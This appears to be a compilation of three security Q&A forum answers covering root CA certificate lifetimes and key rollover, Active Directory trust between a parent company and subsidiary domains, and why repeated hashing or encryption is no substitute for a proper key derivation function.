Root certificates (strictly speaking, "trust anchors") are supposed to be long-lived; as you notice, changing a root certificate is expensive because it must not be done lightly: that certificate concentrates the whole security of your certificates and what they are used for. For interoperability, you probably want to keep the validity dates below year 2038, because there are some (many) systems out there which internally encode dates as a count of seconds since January 1st, 1970, over a signed 32-bit integer. On a specific date of year 2038, the count will wrap around, into negative values, and hilarity ensues. This is the binary equivalent of the Y2K bug. Hopefully, when we reach that fateful date, most architectures will have switched to a 64-bit model where this issue will not occur for a long long time; or at least to a count over an unsigned 32-bit integer, which buys an extra 68 years. (Y2K turned out to be quite minor, so there is no reason to panic. Yet.)

For RSA keys, 2048 bits ought to be enough for long term security. This is, of course, a bet on future technology and science, hence there is no guarantee. Visit this site for a complete treatment of recommended key lengths. Alternatively, see if you can use ECDSA for your root certificate: almost all ECDSA implementations support the "P-521" standard curve, which offers "521-bit security", supposedly equivalent to a 15360-bit-or-so RSA key (i.e. no worry for a long time).

If your new root certificate uses the same key and the same name, then it will match previously issued certificates, and things will be fine. If you change the key and/or the name, then you will have to issue new certificates. Possibly, if you use intermediate CA certificates, then only those will have to be reissued. The "normal" way of managing a root key rollover is to define the new root, insert it in all verifier devices without removing the old root; after a few years, when all certificates which relate to the old root have expired, you can remove it from the verifier systems.

Of course, the main reason why you would want to change the root is that you believe that the key has been around for too long; reusing the same key defeats the purpose. Note that the root is, by nature, unique: there is one private key to worry about, located in a single place, normally a hardened tamper-resistant HSM (Hardware Security Module). The point of such a HSM is that the key cannot be stolen without you knowing it. So, as long as you use a big enough key to begin with, you will not have to change the key -- or, if you do, then you have to do it urgently. At that point, root validity dates are moot: if the root key is stolen, you want the new key to be deployed now (at least, by the end of the week), not within the next three years. Hence, the "current practice" is to make a long-lived root with a big key, and to set the root end-of-validity a few years beyond your own predicted retirement date (so that this will be someone's else problem).


Trust relationship between domains I am working in a organisation where it has a structure of a parent company and a subsidiary.
Both are individual domains without trust.

I work for the subsidiary

The requirement is that the subsidiary company should have access to a ticketing portal at the parent company.
This application relies on the parent company's AD for authentication.
So what kind of trust relationship should we have.
Can anyone please elaborate please, I really need your advice

Thanks

In a trust relationship, the two domains are referred to as the trusting domain and the trusted domain. The trusted domain is the domain where the trust relationship is created. The trusting domain is the other domain specified in the trust, that is, the one wherein network resources can to be accessed. The trusting domain in this case recognizes the logon authentications of the trusted domain. This helps to know the details about understanding trust model in Windows NT domain. This source will help you to setup the trust relation between two domains.


Does Encryption on Encryption help? Is hashing a password multiple times and then encrypting a text with the hashed password more secure than hashing a password fewer times and encrypting the text multiple times recursively?

There is no generic answer to this. It depends on the actual hash and encryption algorithms and whatever "multiple times" and "fewer" actually mean.

But I think that the general idea of this approach is wrong. Instead of trying to add security by doing hashing/encryption multiple times you should start with a known strong key derivation function (and not a simple fast hash, even if called multiple times) to derive a strong key from the password and then use a known strong encryption method. In other words: use known good primitives as they are intended and don't invent your own enhanced version of weaker primitives.